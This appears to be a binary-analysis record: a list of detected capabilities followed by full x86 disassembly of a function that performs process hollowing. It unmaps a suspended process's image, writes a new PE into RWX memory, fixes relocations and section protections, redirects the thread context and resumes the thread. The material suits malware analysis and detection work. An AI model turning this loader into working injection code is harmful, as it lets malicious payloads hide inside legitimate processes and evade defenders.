Function at 0x4787f0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Inspect section memory permissions
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x380
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x478817
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp + 0x18]
add eax, edx
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x47883b
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 0x16]
movzx eax, ax
and eax, 0x14c
test eax, eax
jne 0x478858
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x34], eax
mov dword [esp + 8], 0x2cc
mov dword [esp + 4], 0
lea eax, [ebp - 0x344]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x344], 0x10002
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x344]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetThreadContext
sub esp, 8
test eax, eax
sete al
test al, al
je 0x4788b4
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x2a0]
add eax, 8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x348]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x478904
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x3c], eax
jne 0x478988
mov dword [esp], str.ntdll.dll
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x478937
mov eax, 0
jmp 0x4791a9
mov dword [esp + 4], str.NtUnmapViewOfSection
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x47897e
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x478988
mov eax, 0
jmp 0x4791a9
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x350]
test eax, eax
sete al
test al, al
je 0x478a36
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x1e7
sete al
test al, al
je 0x478a2c
mov eax, dword [ebp - 0x78]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x350]
test eax, eax
sete al
test al, al
je 0x478a36
mov eax, 0
jmp 0x4791a9
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0x3c], eax
je 0x478a85
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x35c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x350]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x478a85
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
mov word [eax + 0x5c], 2
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0x34]
cmp edx, eax
je 0x478d60
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 0x16]
movzx eax, ax
and eax, 1
test eax, eax
je 0x478aba
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x350]
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [ebp - 0x78]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
jbe 0x478b9f
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0x48]
ja 0x478b96
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov eax, dword [eax + 8]
add eax, ecx
cmp eax, dword [ebp - 0x48]
jbe 0x478b96
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x48]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0xc], eax
jmp 0x478b9f
add dword [ebp - 0x10], 1
jmp 0x478af5
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x54]
jae 0x478d60
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
add eax, 8
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x60]
jae 0x478d52
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x64]
add eax, edx
movzx eax, word [eax]
shr ax, 0xc
mov word [ebp - 0x66], ax
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x64]
add eax, edx
movzx eax, word [eax]
and ax, 0xfff
mov word [ebp - 0x68], ax
cmp word [ebp - 0x66], 3
je 0x478c42
cmp word [ebp - 0x66], 0xa
jne 0x478d49
mov eax, dword [ebp - 0x58]
mov edx, dword [eax]
movzx eax, word [ebp - 0x68]
add eax, edx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [ebp - 0x78]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x20]
jbe 0x478d1d
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0x6c]
ja 0x478d14
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov eax, dword [eax + 8]
add eax, ecx
cmp eax, dword [ebp - 0x6c]
jbe 0x478d14
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x6c]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x478d1d
add dword [ebp - 0x20], 1
jmp 0x478c73
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
sub eax, dword [ebp - 0x34]
mov edx, eax
mov eax, dword [ebp - 0x70]
mov dword [eax], edx
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov edx, dword [ebp - 0x350]
add edx, eax
mov eax, dword [ebp - 0x70]
mov dword [eax], edx
add dword [ebp - 0x18], 1
jmp 0x478bf8
mov eax, dword [ebp - 0x58]
mov eax, dword [eax + 4]
add dword [ebp - 0x14], eax
jmp 0x478bbd
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0x28]
mov edx, dword [ebp - 0x350]
add eax, edx
mov dword [ebp - 0x294], eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x344]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_SetThreadContext
sub esp, 8
test eax, eax
sete al
test al, al
je 0x478d9f
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x354]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp + 0x18]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x478de5
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x358]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 2
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtectEx
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x478e2c
mov eax, 0
jmp 0x4791a9
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x18]
add eax, edx
add eax, 0xf8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x24]
jle 0x479185
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 0x18]
add eax, edx
mov esi, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x350]
add eax, edx
mov ebx, eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x354]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x478ee8
mov eax, 0
jmp 0x4791a9
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 6]
movzx eax, ax
sub eax, 1
cmp eax, dword [ebp - 0x24]
jne 0x478f27
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x478f5f
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x478fcd
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x478fcd
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x478fcd
mov dword [ebp - 0x2c], 0x40
jmp 0x479121
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x479019
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x479019
mov dword [ebp - 0x2c], 0x20
jmp 0x479121
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x479060
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x479060
mov dword [ebp - 0x2c], pe_nt_image_headers32
jmp 0x479121
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x4790a4
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x4790a4
mov dword [ebp - 0x2c], 4
jmp 0x479121
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x4790cd
mov dword [ebp - 0x2c], 0x10
jmp 0x479121
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x4790f6
mov dword [ebp - 0x2c], 2
jmp 0x479121
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x47911a
mov dword [ebp - 0x2c], 8
jmp 0x479121
mov dword [ebp - 0x2c], 1
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x74]
add eax, edx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x350]
add eax, edx
mov ecx, eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x358]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtectEx
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x47917c
mov eax, 0
jmp 0x4791a9
add dword [ebp - 0x24], 1
jmp 0x478e48
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_ResumeThread
sub esp, 4
cmp eax, 0xffffffff
sete al
test al, al
je 0x4791a4
mov eax, 0
jmp 0x4791a9
mov eax, 1
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret